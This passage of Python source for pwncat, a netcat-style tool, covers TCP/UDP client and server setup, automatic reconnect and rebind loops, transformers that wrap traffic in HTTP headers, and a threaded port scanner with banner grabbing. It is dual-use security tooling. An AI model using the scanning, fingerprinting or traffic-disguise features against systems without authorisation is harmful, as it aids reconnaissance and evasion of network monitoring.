        # [5/5] We have data to process
        self.__log.debug(
            "Received %d bytes from %s:%d",
            len(data),
            self.__active["remote_addr"],
            self.__active["remote_port"],
        )
        self.__log.trace("Received: %s", repr(data))  # type: ignore
        return data

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def run_client(self, host, port):
        # type: (str, int) -> bool
        """Run and create a TCP or UDP client and connect to a remote peer.

        Args:
            addr (str): Numeric IP address to connect to (ensure to resolve a hostname beforehand).
            port (int): Port of the server to connect to.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # The connection dictionary.
        conns = {}  # type: Dict[int, SockConn]

        # [1/4] Add sockets to connection dictionary
        succ = 0
        for family in self.__families:
            try:
                conns[family] = {
                    "conn": self.__sock.create_socket(
                        family,
                        socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                        True,
                        self.__options.ip_tos,
                    )
                }
                succ += 1
            except socket.error:
                pass
        if succ == 0:
            return False

        # [2/4] Resolve address
        remove = []
        errors = []
        # NOTE: We're still looping over the initial family list
        # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
        for family in self.__families:
            if family in conns:
                try:
                    conns[family]["remote_host"] = host
                    conns[family]["remote_addr"] = self.__sock.gethostbyname(
                        host, family, not self.__options.nodns
                    )
                    conns[family]["remote_port"] = port
                except socket.gaierror as err:
                    remove.append(family)
                    errors.append(str(err))
        for family in remove:
            self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            for error in errors:
                self.__log.error("Resolve Error: %s", error)
            return False

        # [3/4] Connect
        remove = []
        errors = []
        # NOTE: We're still looping over the initial family list
        # to ensure order: IPv6 before IPv4 (the conn dict does not preserve order)
        for family in self.__families:
            if family in conns:
                try:
                    self.__sock.connect(
                        conns[family]["conn"],
                        conns[family]["remote_addr"],
                        conns[family]["remote_port"],
                        self.__options.src_addr,
                        self.__options.src_port,
                        self.__options.udp_sconnect,
                        self.__enc.encode(self.__options.udp_sconnect_word),
                        self.__options.bufsize,
                    )
                    # On successful connect, we can abandon/remove all other sockets
                    remove = [key for key in conns if key != family]
                    break
                except (OSError, socket.error) as err:
                    remove.append(family)
                    errors.append(str(err))
        for family in remove:
            self.__sock.close(conns[family]["conn"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            for error in errors:
                self.__log.error(error)
            return False

        # [4/4] Store connections and set active connection
        assert len(conns) == 1
        for family in conns:
            self.__active = {
                "af": family,
                "conn": conns[family]["conn"],
                "remote_addr": conns[family]["remote_addr"],
                "remote_port": conns[family]["remote_port"],
            }
        # Store sockets as a list
        self.__conns = conns
        # Print socket info
        for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
            self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
        return True

    def run_server(self, host, port):
        # type: (Optional[str], int) -> bool
        # TODO: Integrate: --rebind(-wait|-robin)
        """Run and create a TCP or UDP listening server and wait for a client to connect.

        Args:
            addr (str): Numeric IP address to bind to (ensure to resolve a hostname beforehand).
            port (int): Port of the address to bind to.

        Returns:
            bool: Returns `True` on success and `False` on failure.
        """
        # The connection dictionary.
        conns = {}  # type: Dict[int, SockConn]

        # [1/4] Create socket
        succ = 0
        for family in self.__families:
            try:
                conns[family] = {
                    "sock": self.__sock.create_socket(
                        family,
                        socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM,
                        True,
                        self.__options.ip_tos,
                    )
                }
                succ += 1
            except socket.error as err:
                self.__log.debug(err)
        if succ == 0:
            self.__log.error("Socket Error: Could not create any socket.")
            return False

        # [2/4] Resolve local address
        remove = {}
        for family in conns:
            try:
                conns[family]["local_addr"] = self.__sock.gethostbyname(
                    host, family, not self.__options.nodns
                )
                conns[family]["local_host"] = host
                conns[family]["local_port"] = port
            except socket.gaierror as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Resolve Error: Could not resolve any hostname")
            return False

        # [3/4] Bind socket
        remove = {}
        for family in conns:
            try:
                self.__sock.bind(conns[family]["sock"], conns[family]["local_addr"], port)
            except socket.error as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Bind Error: Could not bind any socket")
            return False

        # [UDP 4/4] There is no listen or accept for UDP
        if self.__options.udp:
            for family in conns:
                conns[family]["conn"] = conns[family]["sock"]
                self.__log.info(
                    "Listening on %s:%d (family %d/%s, UDP)",
                    conns[family]["local_addr"],
                    conns[family]["local_port"],
                    family,
                    self.__sock.get_family_name(family),
                )
            self.__conns = conns
            self.__udp_mode_server = True
            return True

        # [TCP 4/4] Requires listen and accept
        # (1/3) Listen
        remove = {}
        for family in conns:
            try:
                self.__sock.listen(conns[family]["sock"], self.__options.backlog)
                self.__log.info(
                    "Listening on %s:%d (family %d/%s, TCP)",
                    conns[family]["local_addr"],
                    conns[family]["local_port"],
                    family,
                    self.__sock.get_family_name(family),
                )
            except socket.error as err:
                remove[family] = str(err)
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            self.__log.error("Could not listen on any address")
            return False

        # (2/3) Accept
        remove = {}
        try:
            conn, client = self.__sock.accept(
                [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit
            )
            conns[conn.family]["conn"] = conn
            conns[conn.family]["remote_addr"] = client[0]
            conns[conn.family]["remote_port"] = client[1]
        except socket.error as err:
            remove = {family: str(err) for family in conns}
        # On error, remove all bind sockets
        for family in remove:
            self.__log.debug(
                "Removing (family %d/%s) due to: %s",
                family,
                self.__sock.get_family_name(family),
                remove[family],
            )
            self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family))
            del conns[family]
        if not conns:
            return False

        # (3/3) Store connections
        for family in conns:
            if "conn" in conns[family]:
                self.__active = {
                    "af": family,
                    "conn": conns[family]["conn"],
                    "remote_addr": conns[family]["remote_addr"],
                    "remote_port": conns[family]["remote_port"],
                }
                for info in self.__sock.get_sock_opts(self.__active["conn"], self.__options.info):
                    self.__log.info("[%s] %s", self.__sock.get_family_name(family), info)
        self.__conns = conns
        return True

    def re_accept_client(self):
        # type: () -> bool
        """Re-accept new clients, if connection is somehow closed or accept did not work.

        Returns:
            bool: Returns `True` on success and `False` and error.
        """
        # [1/3] Close and remove all previous conn sockets
        self.close_conn_sock()
        for family in self.__conns:
            if "conn" in self.__conns[family]:
                del self.__conns[family]["conn"]

        # [2/3] Accept
        try:
            conn, client = self.__sock.accept(
                [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit
            )
        except socket.error:
            return False
        self.__conns[conn.family]["conn"] = conn
        self.__conns[conn.family]["remote_addr"] = client[0]
        self.__conns[conn.family]["remote_port"] = client[1]

        # Update active connection socket
        self.__active = {
            "af": conn.family,
            "conn": conn,
            "remote_addr": client[0],
            "remote_port": client[1],
        }
        return True

    def close_bind_sock(self):
        # type: () -> None
        """Close the bind socket used by the server to accept clients."""
        for family in self.__conns:
            if "sock" in self.__conns[family]:
                self.__sock.close(self.__conns[family]["sock"], "sock")

    def close_conn_sock(self):
        # type: () -> None
        """Close the communication socket used for send and receive."""
        for family in self.__conns:
            if "conn" in self.__conns[family]:
                self.__sock.close(self.__conns[family]["conn"], "conn")


# #################################################################################################
# #################################################################################################
# ###
# ###   5 / 11   T R A N S F O R M E R
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (1/5): Transform
# -------------------------------------------------------------------------------------------------
class Transform(ABC):  # type: ignore
    """Abstract class to for pwncat I/O transformers.

    This is a skeleton that defines how the transformer for pwncat should look like.
    """

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def log(self):
        # type: () -> logging.Logger
        """`TraceLogger`: Logger instance."""
        return self.__log

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    @abstractmethod
    def __init__(self):
        # type: () -> None
        """Set specific options for this transformer."""
        super(Transform, self).__init__()
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    @abstractmethod
    def transform(self, data):
        # type: (bytes) -> bytes
        """Implement a transformer function which transforms a string..

        Args:
            data (bytes): data to be transformed.

        Returns:
            bytes: The transformed string.
        """


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (2/5) TransformLinefeed
# -------------------------------------------------------------------------------------------------
class TransformLinefeed(Transform):
    """Implement basic linefeed replacement."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (DsTransformLinefeed) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformLinefeed, self).__init__()
        self.__opts = opts

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Transform linefeeds to CRLF, LF or CR if requested.

        Returns:
            str: The string with altered linefeeds.
        """
        # 'auto' keep it as it is
        if self.__opts.crlf is None:
            return data

        # ? -> No line feeds
        if self.__opts.crlf == "no":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Removing CRLF")
                return data[:-2]
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Removing LF")
                return data[:-1]
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Removing CR")
                return data[:-1]
        # ? -> CRLF
        if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"):
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Replacing LF with CRLF")
                return data[:-1] + StringEncoder.encode("\r\n")
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Replacing CR with CRLF")
                return data[:-1] + StringEncoder.encode("\r\n")
        # ? -> LF
        if self.__opts.crlf == "lf":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Replacing CRLF with LF")
                return data[:-2] + StringEncoder.encode("\n")
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Replacing CR with LF")
                return data[:-1] + StringEncoder.encode("\n")
        # ? -> CR
        if self.__opts.crlf == "cr":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Replacing CRLF with CR")
                return data[:-2] + StringEncoder.encode("\r")
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Replacing LF with CR")
                return data[:-1] + StringEncoder.encode("\r")

        # Otherwise just return it as it is
        return data


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (3/5) TransformSafeword
# -------------------------------------------------------------------------------------------------
class TransformSafeword(Transform):
    """Implement a trigger to emergency shutdown upon receival of a specific safeword."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (DsTransformSafeword) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformSafeword, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Raise a stop signal upon receiving the safeword.

        Returns:
            str: The string as it is without changes
        """
        if StringEncoder.encode(self.__opts.safeword) in data:
            self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform")  # type: ignore
            self.__opts.ssig.raise_terminate()
        return data


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (4/5) TransformHttpPack
# -------------------------------------------------------------------------------------------------
class TransformHttpPack(Transform):
    """Implement a transformation to pack data into HTTP packets."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (Dict[str, str]) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformHttpPack, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

        assert "reply" in opts
        assert opts["reply"] in ["request", "response"]

        # Initial default header
        self.__headers = [
            "Accept-Charset: utf-8",
        ]

        self.__response_headers_sent = False

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Wrap data into a HTTP packet.

        Returns:
            bytes: The wrapped string.
        """
        request_header = [
            "POST / HTTP/1.1",
            "Host: {}".format(self.__opts["host"]),
            "User-Agent: pwncat",
            "Accept: */*",
            "Conent-Length: {}".format(len(data)),
            "Content-Type: text/plain; charset=UTF-8",
        ]
        response_header = [
            "HTTP/1.1 200 OK",
            "Date: {}".format(self.__get_date()),
            "Server: pwncat",
            "Conent-Length: {}".format(len(data)),
            "Connection: close",
        ]

        self.__response_headers_sent = True

        if self.__opts["reply"] == "request":
            header = StringEncoder.encode(
                "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n"
            )
        else:
            header = StringEncoder.encode(
                "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n"
            )
        return header + data

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __get_date(self):  # pylint: disable=no-self-use
        # type: () -> str
        now = datetime.utcnow()
        weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()]
        month = [
            "Jan",
            "Feb",
            "Mar",
            "Apr",
            "May",
            "Jun",
            "Jul",
            "Aug",
            "Sep",
            "Oct",
            "Nov",
            "Dec",
        ][now.month - 1]
        return "%s, %02d %s %04d %02d:%02d:%02d GMT" % (
            weekday,
            now.day,
            month,
            now.year,
            now.hour,
            now.minute,
            now.second,
        )


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (5/5) TransformHttpUnpack
# -------------------------------------------------------------------------------------------------
class TransformHttpUnpack(Transform):
    """Implement a transformation to unpack data from HTTP packets."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (Dict[str, str]) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformHttpUnpack, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Unwrap data from a HTTP packet.

        Returns:
            str: The wrapped string.
        """
        request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)")
        response = StringEncoder.encode(r"^HTTP/[.0-9]+")

        # Did not receive a valid HTTP request, so we return the original untransformed message
        if not (re.match(request, data) or re.match(response, data)):
            return data

        body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)")
        match = re.search(body, data)

        # Check if we can separate headers and body
        if match is None or len(match.group()) < 2:
            return data
        return match.group(2)


# #################################################################################################
# #################################################################################################
# ###
# ###   6 / 11   I O   M O D U L E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [6/11 IO]: (1/5): IO
# -------------------------------------------------------------------------------------------------
class IO(ABC):  # type: ignore
    """Abstract class to for pwncat I/O modules.

    This is a skeleton that defines how the I/O module for pwncat should look like.

    The "producer" should constantly yield data received from some sort of input
    which could be user input, output from a shell command data from a socket.

    The "callback" will apply some sort of action on the data received from a producer
    which could be output to stdout, send it to the shell or to a socket.

    "The "interrupts" are a list of funtions that trigger the producer to stop
    and return to its parent thread/function. The producer must also be implemented
    in a way that it is able to act on the event which the "interrupt" func emitted.
    """

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    @property
    def log(self):
        # type: () -> logging.Logger
        """`TraceLogger`: Logger instance."""
        return self.__log

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    @abstractmethod
    def __init__(self, ssig):
        # type: (InterruptHandler) -> None
        """Set specific options for this IO module.

        Args:
            ssig (InterruptHandler): InterruptHandler instance used by the interrupter.
        """
        super(IO, self).__init__()
        self.__ssig = ssig
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    @abstractmethod
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Implement a generator function which constantly yields data.

        The data could be from various sources such as: received from a socket,
        received from user input, received from shell command output or anything else.

        Yields:
            str: Data generated/produced by this function.
        """

    @abstractmethod
    def consumer(self, data):
        # type: (bytes) -> None
        """Define a consumer callback which will apply an action on the producer output.

        Args:
            data (str): Data retrieved from the producer to work on.
        """

    @abstractmethod
    def interrupt(self):
        # type: () -> None
        """Define an interrupt function which will stop the producer.

        Various producer might call blocking functions and they won't be able to stop themself
        as they hang on that blocking function.
        NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer.
        """


# -------------------------------------------------------------------------------------------------
# [6/11 IONetwork]: (2/5) IONetwork
# -------------------------------------------------------------------------------------------------
class IONetwork(IO):
    """Pwncat implementation based on custom Socket library."""

    @property
    def net(self):
        # type: () -> Net
        """Returns instance of Net."""
        return self.__net

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        ssig,  # type: InterruptHandler
        encoder,  # type: StringEncoder
        host,  # type: str
        ports,  # type: List[int]
        role,  # type: str
        srv_opts,  # type: DsIONetworkSrv
        cli_opts,  # type: DsIONetworkCli
        sock_opts,  # type: DsIONetworkSock
    ):
        # type: (...) -> None
        """Create a Pwncat instance of either a server or a client.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            host (str): The hostname to resolve.
            ports ([int]): List of ports to connect to or listen on.
            role (str): Either "server" or "client".
            srv_opts (DsIONetworkSrv):   Options for the server.
            cli_opts (DsIONetworkCli):   Options for the client.
            sock_opts (DsIONetworkSock): Options to parse back to Sock.
        """
        assert role in ["server", "client"], "The role must be 'server' or 'client'."
        super(IONetwork, self).__init__(ssig)

        self.__role = role
        self.__net = Net(encoder, ssig, sock_opts)
        self.__sock_opts = sock_opts
        self.__srv_opts = srv_opts
        self.__cli_opts = cli_opts

        # Did we already run cleanup
        self.__cleaned_up = False

        # Internally store addresses for reconn or rebind functions
        self.__host = host
        self.__ports = ports
        self.__pport = 0  # pointer to the current port

        if role == "server":
            if not self.__net.run_server(self.__host, self.__ports[self.__pport]):
                if not self.__server_rebind():
                    sys.exit(1)
        if role == "client":
            if not self.__net.run_client(self.__host, self.__ports[self.__pport]):
                if not self.__client_reconnect_to_server():
                    sys.exit(1)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Network receive generator which hooks into the receive function and adds features.

        Yields:
            str: Data received from a connected socket.
        """
        # Counter for receive retries once this side of the program
        # shuts down (e.g.: Ctrl+c) as there could be data left on the wire.
        curr_recv_timeout_retry = 0

        # Loop endlessly and yield data back to the caller
        while True:
            # [1/3] Generate data
            try:
                yield self.__net.receive()
            # [2/3] Non-blocking socket is finished receiving data and allows us to do some action
            except socket.timeout as err:
                # Check if we close the socket for sending
                if self.ssig.has_sock_send_eof():
                    self.log.trace(  # type: ignore
                        "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err
                    )
                    self.__net.send_eof()

                # Let's ask the interrupter() function if we should terminate?
                if not self.ssig.has_sock_quit():
                    continue
                # Stop signal is raied when my own side of the network was closed.
                # Happened most likely that the user pressed Ctrl+c
                # Before quitting, we will check x many times, if there is still
                # data left to receive, before shutting down.
                if curr_recv_timeout_retry < self.__sock_opts.recv_timeout_retry:
                    self.log.trace(  # type: ignore
                        "Final socket read: %d/%d before quitting.",
                        curr_recv_timeout_retry + 1,
                        self.__sock_opts.recv_timeout_retry,
                    )
                    curr_recv_timeout_retry += 1
                    continue
                # We ware all done reading, shut down
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err
                )
                self.__cleanup()
                return
            # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar)
            except (EOFError, AttributeError, socket.error) as err:
                # Do we have a stop signal?
                if self.ssig.has_sock_quit():
                    self.log.trace(  # type: ignore
                        "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err
                    )
                    self.__cleanup()
                    return
                # Do we re-accept new clients?
                if self.__sock_opts.udp:
                    # Always accept new clients or reconnect in UDP mode (its stateless)
                    continue
                if self.__role == "server" and self.__server_reaccept_from_client():
                    continue
                if self.__role == "client" and self.__client_reconnect_to_server():
                    continue
                # Inform everybody that we are quitting
                self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer")  # type: ignore
                self.ssig.raise_sock_eof()

    def consumer(self, data):
        # type: (bytes) -> None
        """Send data to a socket."""
        try:
            self.__net.send(data)
        except socket.error:
            pass

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt")  # type: ignore
        self.ssig.raise_sock_quit()
        self.__cleanup()

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __cleanup(self):
        # type: () -> None
        """Cleanup function."""
        if not self.__cleaned_up:
            self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
            self.__net.close_conn_sock()
            self.__net.close_bind_sock()
            self.__cleaned_up = True

    def __client_reconnect_to_server(self):
        # type: () -> bool
        """Ensure the client re-connects to the remote server, if the remote server hang up.

        Returns:
            bool: Returns `True` on success and `False` on failure or stop signal requested.
        """
        assert self.__role == "client", "This should have been caught during arg check."

        # reconn < 0 (endlessly)
        # reconn > 0 (reconnect until counter reaches zero)
        while self.__cli_opts.reconn != 0:
            # [1/6] Let's ask the interrupter() function if we should terminate?
            # We need a little wait here in order for the stop signal to propagate.
            # Don't know how fast the other threads are.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [1]"
                )
                return False

            # [2/6] Wait
            time.sleep(self.__cli_opts.reconn_wait)

            # [3/6] Let's ask the interrupter() function if we should terminate?
            # In case the other threads were slower as the sleep time in [1/5]
            # we will check again here.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [2]"
                )
                return False

            # [4/6] Increment the port numer (if --reconn-robin has multiple)
            self.__pport += 1
            if self.__pport == len(self.__ports):
                self.__pport = 0

            if self.__cli_opts.reconn > 0:
                self.log.info(
                    "Reconnecting to %s:%d in %.1f sec (%d more times left)",
                    self.__host,
                    self.__ports[self.__pport],
                    self.__cli_opts.reconn_wait,
                    self.__cli_opts.reconn,
                )
            else:
                self.log.info(
                    "Reconnecting to %s:%d in %.1f sec (indefinitely)",
                    self.__host,
                    self.__ports[self.__pport],
                    self.__cli_opts.reconn_wait,
                )

            # [5/6] Decrease reconnect counter
            if self.__cli_opts.reconn > 0:
                self.__cli_opts.reconn -= 1

            # [6/6] Recurse until True or reconnect count is used up
            if self.__net.run_client(self.__host, self.__ports[self.__pport]):
                return True

        # [5/5] Signal failure
        self.log.info("Reconnect count is used up. Shutting down.")
        return False

    def __server_rebind(self):
        # type: () -> bool

        # rebind < 0 (endlessly)
        # rebind > 0 (rebind until counter reaches zero)
        while self.__srv_opts.rebind != 0:

            # [1/7] Let's ask the interrupter() function if we should terminate?
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_rebind [1]"
                )
                return False

            # [2/7] Increment the port numer (if --reconn-robin has multiple)
            self.__pport += 1
            if self.__pport == len(self.__ports):
                self.__pport = 0

            # [3/7] Notify user
            if self.__srv_opts.rebind > 0:
                self.log.info(
                    "Rebinding to port %d in %.1f sec (%d more times left)",
                    self.__ports[self.__pport],
                    self.__srv_opts.rebind_wait,
                    self.__srv_opts.rebind,
                )
            else:
                self.log.info(
                    "Rebinding to port %d in %.1f sec (indefinitely)",
                    self.__ports[self.__pport],
                    self.__srv_opts.rebind_wait,
                )

            # [4/7] Decrease reconnect counter
            if self.__srv_opts.rebind > 0:
                self.__srv_opts.rebind -= 1

            # [5/7] Wait (--rebind-wait)
            time.sleep(self.__srv_opts.rebind_wait)

            # [6/7] Let's ask the interrupter() function if we should terminate?
            # In case the other threads were slower as the sleep time in [1/7]
            # we will check again here.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_rebind [2]"
                )
                return False

            # [6/7] Recurse until True or reconnect count is used up
            if self.__net.run_server(self.__host, self.__ports[self.__pport]):
                return True

        # [7/7] Nope
        self.log.info("Rebind count is used up. Shutting down.")
        return False

    def __server_reaccept_from_client(self):
        # type: () -> bool
        """Ensure the server is able to keep connection open by re-accepting new clients.

        Returns:
            bool: True on success and False on failure
        """
        # Do not re-accept for UDP
        assert not self.__sock_opts.udp, "This should have been caught during arg check."
        assert self.__role == "server", "This should have been caught during arg check."

        # [NO] Do not re-accept
        if not self.__srv_opts.keep_open:
            self.log.info("No automatic re-accept specified. Shutting down.")
            return False

        # [MAYBE] Check stop signal and otherwise try until success.
        while True:
            time.sleep(0.01)
            # [NO] We have a stop signal
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_reaccept_from_client"
                )
                return False
            # [YES] Re-accept indefinitely
            self.log.info("Re-accepting new clients")
            if self.__net.re_accept_client():
                return True


# -------------------------------------------------------------------------------------------------
# [6/11 IONetwork]: (3/5) IONetwork
# -------------------------------------------------------------------------------------------------
class IONetworkScanner(IO):
    """Pwncat Scanner implementation based on custom Socket library."""

    BANNER_PAYLOADS = {
        # 0 is for generic ones, which do not have a custom port definition already
        0: [
            None,  # This means to not send anything, but receive first
            "",
            "\0",
            "\r",
            "\n",
            "\r\n",
            "HEAD /\r\n\r\n",
        ],
    }

    # Common regexes
    BANNER_REG = [
        r"Server:\s*(.*)",  # extract webserver from header
        r"(.*[0-9][-.0-9]*.*)",  # generic version string
    ]

    # Compiled versions of common regexes
    BANNER_REG_COMP = []  # type: List[re.Pattern[str]]

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        ssig,  # type: InterruptHandler
        encoder,  # type: StringEncoder
        host,  # type: str
        banner,  # type: bool
        cli_opts,  # type: DsIONetworkCli
        sock_opts,  # type: DsIONetworkSock
    ):
        # type: (...) -> None
        """Create a Pwncat Network Scanner instance.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            host (str): The hostname to resolve.
            banner (bool): Determines if we do banner grabbing as well.
            cli_opts (DsIONetworkCli):   Options for the client.
            sock_opts (DsIONetworkSock): Options to parse back to Sock.
        """
        super(IONetworkScanner, self).__init__(ssig)

        self.__ssig = ssig
        self.__enc = encoder
        self.__cli_opts = cli_opts
        self.__sock_opts = sock_opts
        self.__banner = banner

        self.__log = logging.getLogger(__name__)
        self.__sock = Sock()
        self.__screen_lock = threading.Semaphore()

        # Keep track of local binds (addr-port) of the threaded scanner
        # clients as we do not want to treat them as open ports (false posistives)
        self.__local_binds = {}  # type: Dict[str, socket.socket]

        # Compile our regexes if using banner detection
        if banner:
            for reg in self.BANNER_REG:
                self.BANNER_REG_COMP.append(re.compile(reg, re.IGNORECASE))

        # Get numerical IP addresses for IPv4 and/or IPv6
        if self.__sock_opts.ipv6:
            families = [int(socket.AF_INET6)]
        elif self.__sock_opts.ipv4:
            families = [int(socket.AF_INET)]
        else:
            families = [
                int(socket.AF_INET6),
                int(socket.AF_INET),
            ]
        self.__targets = {}
        for family in families:
            try:
                self.__targets[family] = self.__sock.gethostbyname(
                    host, family, not self.__sock_opts.nodns
                )
            except socket.gaierror:
                pass

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def __get_socket(self, family):
        # type: (Union[socket.AddressFamily, int]) -> socket.socket
        """Create socket for specific address family endlessly until resources are available."""
        # The scanner starts one thread for each port to scan. Each thread will also create
        # one socket and we might hit the max_allowed_files limit (ulimit).
        # That's why we loop through creating sockets until we hit a success
        # as in the meantime, other threads might have already released sockets/fd's.
        while True:
            delay = 0.0
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for IONetworkScanner._getsocket"
                )
                raise socket.error("quit")
            try:
                if self.__sock_opts.udp:
                    return self.__sock.create_socket(family, socket.SOCK_DGRAM, False)
                return self.__sock.create_socket(family, socket.SOCK_STREAM, False)
            except socket.error:
                delay += 0.1
                time.sleep(delay)  # This can be bigger to give the system some time to release fd's

    def __get_banner_version(self, banner):
        # type: (str) -> Optional[str]
        """Extract version information from a string."""
        if not banner or banner is None:
            return None

        # If we only have a single line, return it (all we got)
        lines = banner.splitlines()
        if len(lines) == 1:
            return lines[0]

        # Version extraction
        for reg in self.BANNER_REG_COMP:
